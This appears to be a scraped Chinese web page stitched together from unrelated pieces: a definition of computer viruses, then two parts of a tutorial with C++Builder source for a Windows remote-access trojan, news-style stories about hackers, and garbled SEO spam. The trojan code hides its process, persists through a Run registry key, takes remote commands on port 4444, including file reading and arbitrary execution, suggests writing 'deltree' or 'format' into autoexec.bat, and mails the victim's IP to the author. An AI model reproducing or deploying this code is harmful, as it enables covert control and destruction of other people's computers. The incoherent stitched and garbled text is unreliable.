什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
顺丰黑客实体店:
顺丰在主要城市的社区或者商业中心附近开设了顺丰的嘿客店,其营业模式主要是在可视化的空间内部展示有支付二维码绑定的具体商品,以供客户选择,并线上购物,线下消费。
“嘿客”便利店,除可以提供快递物流业务、虚拟购物外,还具备ATM、冷链物流、团购预售、试衣间、洗衣、家电维修等多项业务。“嘿客”很多功能是基于其快速物流的优势,如顾客不用支付货款即可向商家预约,待商品到店后进行体验后再行购买,无论购买与否配送均由顺丰承担。顺丰还通过已有冷链物流,在消费者购买水果、粽子等生鲜品类时提供上午下单下午送达的配送服务,也方便选购生鲜品类的消费者上门自提。
随着网络世界发展,现在我们在网上购物情况越来越多,同时软件也在增多,这两年拼多多的势头可谓是挡也挡不住。从刚开始打着便宜的理念,短短几年时间就已经和各大电商平台齐名了。每一个需要支付的软件背后都有一个黑客维护着顾客的信息。而近期拼多多内部的天才黑客却被强制开除,这就让许多的吃瓜群众感到费解。
那么我们就先来聊一聊,这个天才黑客到底有什么背景?他名字叫做Flanker,中文名字叫做何淇丹,15岁就考上了浙江大学少年班,并进入到了计算机领域。他19岁的时候就已经可以和他的团队进入到安全圈里边具有奥斯卡之称的一场比赛的总决赛。而他的团队也创造了历史,成为首个进入总决赛的中国团队。他也被冠上了天才黑客之名,并且他在22岁参加世界级黑客比赛并获得了冠军。他在2012年的时候,在我们网络安全刚刚引进发展不成熟的时候,他就进入了这个行列,也在这一场一场比赛中成长起来。而后他加入了腾讯安全科恩实验室。后来,他加入的蓝莲花战队打入到了世界网络安全大赛,并进入总决赛,成为中国首个进入总决赛的团队,当时他才19岁。而如今团队里的人大多都已经成为核心技术人员了。他在26岁时选择加入到拼多多这个企业。然后就是现在的事儿了,他在这个岗位待了将近五年,而公司表示任职五年便可以得到本公司的大量的股票。结果五年期未满却被强行开除,一切巧合来得太突然。他本人并没有详细说明自己离开公司是何原因。但通过他近期发的微博内容,合理猜测可能是因为公司要求他对竞争对手进行黑客攻击。但是他本人不同意,并且公司还曾想通过雪藏他以威胁他,但他最终没有同意,或许是公司不再忌惮他,便把他强制开除了。他虽然被开除,但是保全了他自己的职业道德。他本身是做网络安全的,但是公司却要求他去盗取他人信息,或许离开公司是一个正确的选择,毕竟公司的理念和自己的价值观相冲突。资本主义是个大染缸,或许在利益下包裹的是无法揭露的肮脏事件,但还是希望能够遵守基本商业道德。
湖北有一位大学生化身黑客入侵电商平台,隔空盗走73万,最终被刑事拘留。由于涉案较大,坐牢必不可少,能够有如此聪明才智钻网络漏洞,获取73万元金额,证明智商比较高,可是却没有用在点子上,不免让人感到可惜。电商平台老板对网络安全防护没有意识,在创建平台之时,就没有做出相应的系统来应对这一情况,才让对方有了可乘之机。还好老板的钱最后被追回来,挽回了损失,那么让我们具体了解一下吧!
一,湖北大学生化身黑客入侵电商平台,隔空盗走73万
这位大学生和其他两个同学一起合伙做的坏事,他们也有一定的自我保护意识。在盗走73万之后,还刻意把记录全部都进行了删除,为了把这些钱挥霍一空,还请专业团队来帮忙洗钱,天网恢恢疏而不漏。即使做的再完美也会有蛛丝马迹,相关工作人员根据留下的电子记录进行反复的筛查,才最终把嫌疑人锁定,并且到福建把这几位大学生给抓获了。当得知身份是学生之时,相关工作人员也感到吃惊。
二,最终得到了什么处罚?
他们已经被刑事拘留了,触犯了盗窃罪,并且非法使用电脑。电商平台老板也比较无辜,也是属于创业者,在电商平台上投入了不少心血,本身在账上有73万,结果一查账号上竟然就只剩只有0元。如果想要在电商行业创业的,老板们也要提高警惕,需要防护的软件必不可少,否则平台就像无人值守的金山。有些事情确实很赚钱,触犯法律的事千万不可以碰。
总之,本身有着大好前途,可是这几位学生却因为一时的鬼迷心窍,而把自己送上了犯罪之路,人生从此留下污点。
网络时代到来,似乎时代里就应用而生的出现了许多网络天才,这些网络天才的大脑们似乎和有着巨大内存,超快计算能力的计算机相媲美。科学家曾说过,你的大脑只开发了很小一部分,那我们有理由相信,其实在未来,人们有可能会拥有一个像计算机一样能高效率处理信息的大脑。在我国出现了一个只有12岁的电脑天才,他就是汪正扬。
出生于2001年的汪正扬就是我们大众嘴里的一名"黑客"。汪正扬简直完全符合我们对于天才的一切看法,超高的黑客技术,但是从不乱用自己的能力,反而是积极利用自己的能力帮助国家里的一些网站或者线上商铺发现漏洞。而且汪正扬还是年纪小小的"00"后,他在只有几岁的时候就开始发现了自己的才能,随后自学一切关于网络的技术和规则。汪正扬最难能可贵的是他没有听从内心的欲望,肆意攻击其他网站。
在这个世界上,人们很容易因为拥有一个特殊的才能而感到自视甚高,从而产生一种骄傲自大的心理。有的像汪正扬这样的天才就会攻击其他网站,觉得自己这样做是不会受到法律的制裁的,或者认为没有人会发现自己的行为,但没有人是绝对的天才,人类漫漫长河的历史中,天才其实也数不胜数。
那么大众又是如何理解网络术语——黑客这个词呢?在大众的心中,黑客就代指着所有精通电脑编程的电脑程序员,这其实是有一定误解的,而且随着一些影视作品的传播,人们似乎更加认为黑客就是指擅长电脑技术的专业人才。但有人的地方就一定有圈层,随着后来电脑技术的逐步完善和发展,黑客也被更具体的分为了三类人员。
第一类就是黑客,这些人有着高超的电脑技术,喜爱研究电脑的运行程序等,具有一定的建设性,另外一种叫骇客的人则更具有破坏性,有的时候行事作风比较具有攻击性,许多重大的电脑瘫痪就是由这些黑客做的。第二种是。第三种就是白客,白客就像电脑程序员里的正义维护者一样,他们如果发现程序运行中的漏洞,就会积极修补或者告诉程序的运行者。
汪正扬更多的表现为白客。汪正扬8岁的时候,就开始写起了代码,要知道,一般只有经过了一定的计算机知识的培训才会写代码,这意味着要对计算机编程有相当的敏锐触觉。家中没有人是从事电脑行业的,21世纪初,中国的社会里电脑的普及率在慢慢上升,汪正扬家里也有了电脑,那个时候人人就行在农场里进行"偷菜"活动。
这种虚拟的网络互动成为了一代人的网络记忆,汪正扬也玩过这个游戏,但很快他就失去了兴趣,汪正扬把目光转移到了电脑编程上,他开始写起了代码,从11岁的时候就开始了自己建立网站。等到他13岁的时候,已经能参加中国互联网安全大会。会上,很多人都对只有13岁的方程阳感到好奇,觉得他瘦瘦小小的。但等到汪正扬在会上发表言论之后,就彻底改观。
方正阳小时候就对数字非常敏感。小小年纪就表现出非凡的天赋。在他只有11岁的时候,他很有毅力的攒了400块钱,就是为了买一个网站主机。他当时对于电脑感兴趣,想创办一个网站,就买了这台主机。那个时候能正阳也表现了自己的顽皮天性,有一次,他不想写学校里布置下的作业,就黑进了学校的系统。学校里的技术人员查清楚以后,才发现是这个只有十几岁的小男孩儿做的。这样稍微有点小恶作剧的做法,方正阳只做过一两次。许多人觉得汪正阳的能力很厉害!或许是对自己实力的自信以及受到其他人的鼓励。王正阳自己也经常上网寻找个网站的漏洞,这样也能无形中提高他在电脑上的能力。
当时我们国家由于在计算机方面的发展还不够的完善,而电商这个行业也才刚刚露出头角。在一次浏览网站的时候,汪正扬就发现一个购物软件上的漏洞。这正是检验自己这么长时间以来的关键时刻了。汪正扬找到这个漏洞以后,只用了一块钱就买了2500块钱的东西。这并非是他贪图小便宜,而是他想通过这个漏洞来证明自己的学习成果,后来他并没有将这2500块钱的商品占为己有。他反而把这个漏洞告诉了相关的负责人。
后来汪振阳还将自己发现的问题详细的说给了那个购物软件的技术负责人。从那一次的购物漏洞以后,汪正扬还在网络上又寻找到了一个强大的杀毒软件一些问题。他就像上次一样,像一个网站安全问题维护者一样,把漏洞说给了杀毒软件的负责人。或许很多程序员都会为自己的软件在运行过程中遇到bug但是又找不到bug而焦虑烦恼,小汪正阳的行为或许能为他们的烦恼分担一点。
由于汪正阳的特殊才能,一所著名的初中招收了王正阳。在平常的学习上,王振阳并没有表现出什么特殊的地方,但在计算机技术上,他又变成了一个睥睨众生的黑客帝王。但是如今的王正阳并不喜欢人们叫他为黑客,因为从他过去帮助网站发现漏洞的种种行为都表明了他是一个白客,也就是自己维护网络安全秩序的人。这个神童的神不仅仅只在12岁,而是他的每一年都表现出了超神般的天赋。
对于多数电脑高手来说,"黑客"看似赋予了他们最高的尊敬。但相比于黑客,多数人更愿意当"白帽子、红客"。红客,代表着一种爱国主义精神,开拓进取、坚持正义。红客起源较早,在美国轰炸中国大使馆时,一群红客组建的红客大联盟,就对美国网络进行了全方位攻击。而真正让红客声名大噪的,还是2001年那场轰动全球的中美黑客大战。
对于多数人来说,红客就是一群爱憎分明的人。相较于黑客而言,红客致力于保护民族、伸张正义。但是红客也始终逃脱不了黑客的限定,所以多数人都分不清自己究竟是黑客还是红客。而汪正扬既不属于黑客,也不是红客,而是白帽子。
在前文也提到,汪正扬向360公司的库带计划提交过可能影响上百家教育网站的系统漏洞,这种行为就是典型的"白帽子"。所谓的白帽子,意在发现了各大网站的漏洞之后,会及时提交给网站。这就好比医生治病一样,他们就是专业的仪器。检查出病症之后,将这个进行汇报。和传统意义的黑客不同的是,他们这种行为是无私的,并且不作任何违法的行为。但不管汪正扬隶属于哪种,他都是名副其实的天才。毕竟一个被公认的小黑客,那也算是一项极高的成就。
结语
汪正扬小小年纪就表现出过人的计算机天赋,更难能可贵的是,他从来没把没有把这种天赋当成玩笑一般来对待,也从来不利用这种宝贵的天赋来做一些伤天害理的事情。汪正阳的年龄虽然小,但心智却要远超同龄人,在他的心里,他总是会利用自己的能力去帮助那些需要帮助的人。
当前地位 :SEO尾页>营销常识 >kol是甚么意义?kol是甚么意义?小六SEO 二0 一 九-0 一- 一0 二 一: 三 四:0 六 二00 一kol释义kol齐称为Key Opinion Leader,即症结 定见 首脑 ,是营销教上的观点 ;正常指的是,领有更多、更业余战精...
电望剧神话(神话一连 剧正在线播搁)本創青石板影片 二0 二0-0 六- 一 六 0 八: 四0: 二 七 六月高旬,称为“穿梭更生 ”神文《赘婿》民间宣告 了主创职员 粗英团队,将电望一连 剧的拍攝提到了日程。那原书没有暂前刚曩昔 了九周年,现阶段仍正在网进级 ,据说 起码 借患上要三年网才有否能...
一、以ASP、PHP、JSP、ASP.net、Perl、或者CGI等编程说话 制造 的;二、没有是自力 存留于办事 器上的网页文献,只要当用户要求 时办事 器才回归一个完全 的网页;三、内容存留于数据库外,依据 用户收回的分歧 要求 ,其提求共性化的网页内容;四、内容没有是存留于页里上,而是正在数据...
当然baidu的流质年夜 野也是 晓得的。信任 作的网站的同伙 皆 晓得。您的站一朝baidu支到孬词,流质便一领弗成 整理 。年夜 野皆怒悲如许 。但是 孬词谁皆念要。但网站又没有是您一小我 有。年夜 野皆有。若何 作到让baidu上您的词排名靠前呢。上面单纯的说一高:(合适 新脚篇),嫩江湖莫抛...
有需要 给冷口站少讲授 宣布 文章的根本 方法 ,以提下支录射中 率,得到 名贵 的始初流质。进步 引擎有用 支录,个中 最次要的方法 便是提下“症结 词婚配度”。 所谓症结 词便是人们运用引擎找疑息的时刻 输出到搜刮 框面的文字。好比 “站友网”便是症结 词,别的 “外国站友网”“站友网 天址”...
从前 讲过一篇文章鸣中链的若干 决议 搜刮 的更新速率 ,借有便是中链 对于PR也长短 常的症结 ,昨天咱们要讲的便是,咱们新的网站没去出有PR怎么办,若何 排到他人 的前里,若何 跟他人 PR下的作链交的答题。1、人品+心碑您的人品孬,正在业内的心碑孬,分缘 便孬。假如 您有了那统统 ,许多 业内...